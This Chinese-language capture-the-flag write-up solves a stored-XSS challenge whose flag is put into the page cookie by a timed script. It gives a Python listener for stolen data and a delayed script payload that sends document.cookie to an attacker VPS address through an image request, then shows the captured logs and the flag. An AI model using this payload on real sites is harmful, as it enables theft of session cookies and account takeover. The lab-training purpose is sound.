学Xss要会打Cookie 解题思路
by:响应云安全
公众号: 响应云SRC
题目是好靶场的 自行搜索
1. 存储型 XSS 原理
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。 典型流程: 受害者访问恶意链接 → 页面注入脚本 → 脚本执行 → 敏感数据外泄
2. 本题特殊性
flag 不在初始 cookie 中 需等待后台 JS 定时任务将 flag 注入 document.cookie 因此 payload 必须具备延迟执行能力或持续监听能力
攻击思路与步骤
步骤 目标 1 验证是否存在 XSS 漏洞 2 构造能读取 document.cookie 的 payload 3 设置外带通道接收数据 4 成功捕获动态生成的 flag 5 提交 flag 完成挑战
攻击环境搭建
写一个python脚本
from http.server import HTTPServer, BaseHTTPRequestHandler
class StealHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("\n[+] 接收到GET请求:")
print(f"路径: {self.path}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length).decode() if length > 0 else ''
print("\n[+] 接收到POST请求:")
print(f"Body: {body}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
print("[*] 开始监听 :8080 ...")
HTTPServer(("", 8080), StealHandler).serve_forever()
运行命令:
python3 steal.py
获取 Cookie 并外带(核心payload)
<script>
setTimeout(() => {
const img = new Image();
img.src = 'http://your-vps-ip:8080/log?c=' + encodeURIComponent(document.cookie);
}, 3000);
</script>
延迟3秒执行,等待 flag 注入 使用 img标签 避免 CORS 和 OPTIONS 预检问题 encodeURIComponent 确保特殊字符正确传输
成功接收到以下请求:
"OPTIONS /?c=flag%3Dflag%7Bf5cc4794f4234df6b55c5ffd4aa5c5ac%7D HTTP/1.1" 501
"GET /?c=flag%3Dflag%7Bf5cc4794f4234df6b55c5ffd4aa5c5ac%7D HTTP/1.1" 200 ```
解码参数得到 flag:
flag=flag{f5cc4794f4234df6b55c5ffd4aa5c5ac}